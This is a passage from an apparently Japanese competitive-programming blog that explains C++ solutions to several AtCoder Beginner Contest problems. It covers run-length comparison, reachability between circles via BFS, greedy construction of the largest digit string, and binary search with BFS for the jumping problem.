    vector<pair<char, int>> res;
    char pre = s[0];
    int cnt = 1;
    rep(i, 1, n) {
        if (pre != s[i]) {
            res.push_back({ pre, cnt });
            pre = s[i];
            cnt = 1;
        }
        else cnt++;
    }

    res.push_back({ pre, cnt });
    return res;
}







string S, T;

#define YES "Yes"
#define NO "No"
string solve() {
    auto vs = runLengthEncoding(S);
    auto vt = runLengthEncoding(T);

    if (vs.size() != vt.size()) return NO;
    
    int N = vs.size();
    rep(i, 0, N) {
        if (vs[i].first != vt[i].first) return NO;
        if (vs[i].second > vt[i].second) return NO;
        if (vs[i].second == 1 && 1 < vt[i].second) return NO;
    }

    return YES;
}

void _main() {
    cin >> S >> T;
    cout << solve() << endl;
}

Circumferences [AtCoder Beginner Contest 259 D]

https://atcoder.jp/contests/abc259/tasks/abc259_d

前提知識

解説

https://atcoder.jp/contests/abc259/submissions/33122718

今回の問題は前提として、幾何の以下の判定方法を知っている必要がある

問題を分割しながら、要求されていることをかみ砕いていく

今はどうか分からないが、ICPCではよくこのような問題が出ていた。
問題を分割して、個別に解決していくことにしよう。

まずは、点Sから点Tに行くことができるかという部分について考えてみよう。
入力例1の図で考えてみると、
点S -> 青い円 -> 赤い円 -> 緑の円 -> 点T
のような流れで行くことができている。
無意識に図を見て、このように判断しているが、判断を分割化してみよう。

まず、点Sがどの円の上にあるかがまず気になる所である。
で、どの円にあるか、というのが特定できたら、次はその円と交わっている円を探しているはずだ。
で、交わっている円から直感的に点Sに近くなりそうな円を使って移動して、点Tに最終的に移動している。

点Sが青い円にあることはすぐに分かるし、点Tが緑の円にあることもすぐわかる。
かつ、点がどこにあるかというのはそれほど問題ではなく、点が乗っている円が特定できたら、
後はその始点となる円から終点となる円に交差している円を通って移動可能かだけが問題となる。

何が必要?

今書いたようなことは分かるわいという人も多いかもしれない。
必要とされていることを書き下してみよう

  • とある点がどの円の上にあるかを特定する
  • 与えられている円と円が交差しているかどうかを判定する
  • とある円からとある円に対して交差している円を通って到達可能かを判定する

上2つは幾何的な知識があれば、解決できるが、最後はどうだろうか。
到達可能性判定と言えばBFSだが、BFSといえばグリッドとかグラフとかだけど…

到達可能性判定、グラフの問題に帰着させる

グラフの問題に帰着させることができる。
(わざわざグラフと解釈しないでそのまま解いてもいいんだけれども)
円をグラフの頂点と考えることにする。
そして、頂点間の辺は移動可能ならつなげるようにする。
移動可能というのは2つの頂点、つまり、円が交差しているときであるため、交差しているなら、2つの頂点間に辺を張る。
すると無向グラフが出来上がり、点Sがある円に対応する頂点が始点で、点Tがある円に対応する頂点が終点となる。

あとは、このグラフ上でBFSをしながら、始点から終点に到達可能かを判定すれば答えを導くことができる。

実装に関する注意点

幾何問題なので、自分は幾何ライブラリを持ってきてしまったが、今回の判定は全部整数で行うことができ、下手にdoubleを経由するとWAだった。
2点間の距離を良く求めることになるかと思うが、例えば、円上に点があるかの判定のときに

(とある円の中心とチェックしたい点との距離) == (とある円の半径)

をチェックしたいと思うが、左辺は平方根を取るため、整数に収まらない。
よって、誤差を最小化するよう、整数でチェックするために、どちらも二乗をして、

(とある円の中心とチェックしたい点との距離)2 == (とある円の半径)2

で判定すること。
「与えられている円と円が交差しているかどうかを判定する」ときも同様に二乗した状態で判定することにしよう。
intだとオーバーフローするのでlong longを利用すること。

実装については自分の実装も参考にしてみてほしい。

int N;
ll sx, sy, tx, ty;
ll x[3010], y[3010], r[3010];

int getCircleOn(int px, int py) {
    rep(i, 0, N) {
        ll dist2 = abs(px - x[i]) * abs(px - x[i]) + abs(py - y[i]) * abs(py - y[i]);
        if (dist2 == r[i] * r[i]) return i;
    }
    return -1;
}

#define YES "Yes"
#define NO "No"
string solve() {
    int start = getCircleOn(sx, sy);
    int end = getCircleOn(tx, ty);

    //
    // makeEdges
    // ================================
    vector<int> E[3010];
    rep(i, 0, N) rep(j, i + 1, N) {
        ll dist2 = abs(x[i] - x[j]) * abs(x[i] - x[j]) + abs(y[i] - y[j]) * abs(y[i] - y[j]);

        if ((r[i] + r[j]) * (r[i] + r[j]) < dist2) continue;
        if (dist2 < abs(r[i] - r[j]) * abs(r[i] - r[j])) continue;

        E[i].push_back(j);
        E[j].push_back(i);
    }

    //
    // checkReachable
    // ================================
    queue<int> que;
    set<int> visited;

    que.push(start);
    visited.insert(start);

    while (!que.empty()) {
        int cu = que.front();
        que.pop();

        if (cu == end) return YES;

        fore(to, E[cu]) if (!visited.count(to)) {
            que.push(to);
            visited.insert(to);
        }
    }

    return NO;
}

void _main() {
    cin >> N >> sx >> sy >> tx >> ty;
    rep(i, 0, N) cin >> x[i] >> y[i] >> r[i];
    cout << solve() << endl;
}

Addition and Multiplication 2 [日鉄ソリューションズプログラミングコンテスト2022(AtCoder Beginner Contest 257) E]

https://atcoder.jp/contests/abc257/tasks/abc257_e

前提知識

解説

https://atcoder.jp/contests/abc257/submissions/32754197

この問題は貪欲法で解く。
アドホックな解法ではあるが、方針としてはテクとしてよく見られる方法の1つ。

何が一番大切か

答えを最大化したいと考えたときに何が優先されるだろうかを考えてみる。
数字は何よりもまず桁数が大きい方が大きい数になるので、なるべく桁数は多くなる方がいい。
桁数を多くなるには支払うお金が最も少ない数だけを使って構築するのがいい。
なので、答えの桁数については比較的簡単に求めることができる。

支払いの最小金額minCを求めておくと、答えの桁数はN/minCの切り捨てで求めることができる。
これよりも桁数を増やせないことは自明だし、これよりも桁数が小さい数を使っても答えの最大化は
達成できないので、とりあえずこれはこれでよさそう。

なぜ答えの桁数を先に求めるのか、みたいな疑問はありそうだが、
元々似たような状況の問題を解いたことがあるからテクニック的に方針を導いたというのもあるし、
色々な解法を考えた中で答えにたどり着いた1つのパス上にあったというのもある。
(こういうアドホック貪欲は色んな可能性を探っていくことになります)

頭から貪欲に整合性が保たれるように決めていく

桁数が最大化されたら、より大きい数を構築するには上の桁ほど大きい数が採用できればいい。
7???よりも9???の方が???がなんであれ大きいので上の桁の数を最大化するのが最優先である。
この部分は上の桁から順番に大きい数を使ったときに残りの桁数を残りのお金で構築できるかを判断して埋めていく。
大きい数を順番に入れていくことを考えるが、その数を採用してしまうと残りの桁が埋められないという
状況になっていれば使用することはできない。
だが、逆に使用することができるならば、絶対に使用した方が数は他の選択よりも大きくなる。
このように「頭から貪欲に整合性が保たれるように決めていく」という方針は構築問題で見られるテクの1つ。
(見方によってはこの問題も構築問題ですね…)

この方針の一部にある「残りの桁数を残りのお金で構築できるか」という問題については、
桁数の最大化の時に利用した最小金額が役に立つ。
残りの桁数を残りのお金で構築する最適な方法は最小金額の数で埋めてしまうことなので、
これで埋めることができるかどうかを判定材料としよう。

int N, C[10];

void _main() {
    cin >> N;
    rep(x, 1, 10) cin >> C[x];

    int min_C = inf;
    rep(x, 1, 10) chmin(min_C, C[x]);

    int max_len = N / min_C;

    string ans = "";
    rep(len, 0, max_len) rrep(x, 9, 1) {
        int rest_len = max_len - len - 1;
        int rest_N = N - C[x];

        if (0 <= rest_N && rest_len <= rest_N / min_C) {
            ans += char('0' + x);
            N -= C[x];
            break;
        }
    }
    cout << ans << endl;
}

Jumping Takahashi 2 [日鉄ソリューションズプログラミングコンテスト2022(AtCoder Beginner Contest 257) D]

https://atcoder.jp/contests/abc257/tasks/abc257_d

前提知識

解説

https://atcoder.jp/contests/abc257/submissions/32753407

何から考え始めるか

いつものように全探索解法がないか探してみる。
全探索できそうなのはSの値か、始点となるジャンプ台くらいな感じがする。
この辺りから考え始めていき、Sの値の全探索の方で使えそうな属性が浮かび上がってくる。

Sの値を増やしていくとジャンプすることができる遷移がどんどん増えていくことになる。
そして、大事なのが、Sの値を増やしても前使えた遷移が使えなくなることがないということ。
ここから何が言えるかというと、Sの値をどんどん増やしていくと、
あるSの値を境に高橋君の目的が達成されるようになるということである。
問題では、最低何回訓練を行う必要があるかという問であるので、ちょうどこの「あるSの値」が答えになっている。

ここまで考察が進んでいれば、あとは知っていれば解法のとっかかりが見えてくる。
このようなある境界より前は条件を満たさず、ある境界より後は条件を満たすような境界を探すときは、
二分探索が有効である。
もし知らない場合は、この方針で解くのは難しいだろう。

二分探索

以下のような評価のための関数を用意しよう。

check(S) := 指定されたSについて高橋君の目的を達成することができるか

二分探索で問題になるのが探索範囲であるが、xyの値の範囲を見ると右辺の最大値は4×109になりそうである。
Pの最小値が1であることを考えると探索範囲の最大値は4×109以上にしておく必要がありそうだ。
自分は念のため+1した値を最大値とした。

計算過程でintにおさまらない可能性があるので、intは使わずlong longで変数を各種用意している。

check関数の中身

あとは、check関数が適切に実装できれば答えになる。
色々解法があるように思えるが、始点とするジャンプ台を全探索することで解いた。
各全探索では、始点とするジャンプ台startからの遷移で他のジャンプ台に行けるかどうかの判定が必要となる。
これはbfsを使って判定している。
bfsをする過程で到達済みの要素を保存しておくことになるが、これがbfs後に到達可能性な要素となる。
bfsを到達可能性判定に使用することもよくあるので覚えておくといい。
1つでも全部到達可能な始点があればtrueで、1つもないならfalseと返せばcheck関数完成。

int N;
ll x[201], y[201], P[201];

bool canMove(ll S, int from, int to) {
    return P[from] * S >= abs(x[from] - x[to]) + abs(y[from] - y[to]);
}

bool check(ll S) {
    rep(start, 0, N) {
        set<int> visited;
        queue<int> que;

        visited.insert(start);
        que.push(start);

        while (!que.empty()) {
            int cur = que.front();
            que.pop();

            rep(to, 0, N) if (to != cur) {
                if (canMove(S, cur, to) && !visited.count(to)) {
                    visited.insert(to);
                    que.push(to);
                }
            }
        }

        if (visited.size() == N) return true;
    }

    return false;
}

void _main() {
    cin >> N;
    rep(i, 0, N) cin >> x[i] >> y[i] >> P[i];

    ll ng = -1, ok = 4000000001LL;
    while (ng + 1 != ok) {
        ll md = (ng + ok) / 2;
        if (check(md)) ok = md;
        else ng = md;
    }
    cout << ok << endl;
}